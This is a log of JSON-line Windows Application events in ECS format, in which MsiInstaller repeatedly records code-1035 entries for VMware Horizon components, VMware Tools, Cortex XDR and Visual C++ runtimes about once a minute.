{"@timestamp":1657393571048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170077}}
{"@timestamp":1657393571076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170078}}
{"@timestamp":1657393571106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170079}}
{"@timestamp":1657393571134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170080}}
{"@timestamp":1657393571160,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170081}}
{"@timestamp":1657393571196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170082}}
{"@timestamp":1657393571223,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170083}}
{"@timestamp":1657393630616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170084}}
{"@timestamp":1657393630643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170085}}
{"@timestamp":1657393630692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170086}}
{"@timestamp":1657393630731,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170087}}
{"@timestamp":1657393630761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170088}}
{"@timestamp":1657393630793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170089}}
{"@timestamp":1657393630821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170090}}
{"@timestamp":1657393630847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170091}}
{"@timestamp":1657393630883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170092}}
{"@timestamp":1657393630911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170093}}
{"@timestamp":1657393691016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170094}}
{"@timestamp":1657393691042,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170095}}
{"@timestamp":1657393691093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170096}}
{"@timestamp":1657393691132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170097}}
{"@timestamp":1657393691161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170098}}
{"@timestamp":1657393691192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170099}}
{"@timestamp":1657393691219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170100}}
{"@timestamp":1657393691245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170101}}
{"@timestamp":1657393691282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170102}}
{"@timestamp":1657393691310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170103}}
{"@timestamp":1657393750907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170104}}
{"@timestamp":1657393750934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170105}}
{"@timestamp":1657393750984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170106}}
{"@timestamp":1657393751025,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170107}}
{"@timestamp":1657393751055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170108}}
{"@timestamp":1657393751086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170109}}
{"@timestamp":1657393751112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170110}}
{"@timestamp":1657393751139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170111}}
{"@timestamp":1657393751174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170112}}
{"@timestamp":1657393751201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170113}}
{"@timestamp":1657393811133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170114}}
{"@timestamp":1657393811161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170115}}
{"@timestamp":1657393811212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170116}}
{"@timestamp":1657393811252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170117}}
{"@timestamp":1657393811280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170118}}
{"@timestamp":1657393811310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170119}}
{"@timestamp":1657393811336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170120}}
{"@timestamp":1657393811361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170121}}
{"@timestamp":1657393811397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170122}}
{"@timestamp":1657393811424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170123}}
{"@timestamp":1657393870872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170124}}
{"@timestamp":1657393870898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170125}}
{"@timestamp":1657393870950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170126}}
{"@timestamp":1657393870989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170127}}
{"@timestamp":1657393871017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170128}}
{"@timestamp":1657393871047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170129}}
{"@timestamp":1657393871074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170130}}
{"@timestamp":1657393871101,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170131}}
{"@timestamp":1657393871138,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170132}}
{"@timestamp":1657393871166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170133}}
{"@timestamp":1657393930968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170134}}
{"@timestamp":1657393930994,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170135}}
{"@timestamp":1657393931045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170136}}
{"@timestamp":1657393931083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170137}}
{"@timestamp":1657393931112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170138}}
{"@timestamp":1657393931145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170139}}
{"@timestamp":1657393931173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170140}}
{"@timestamp":1657393931199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170141}}
{"@timestamp":1657393931236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170142}}
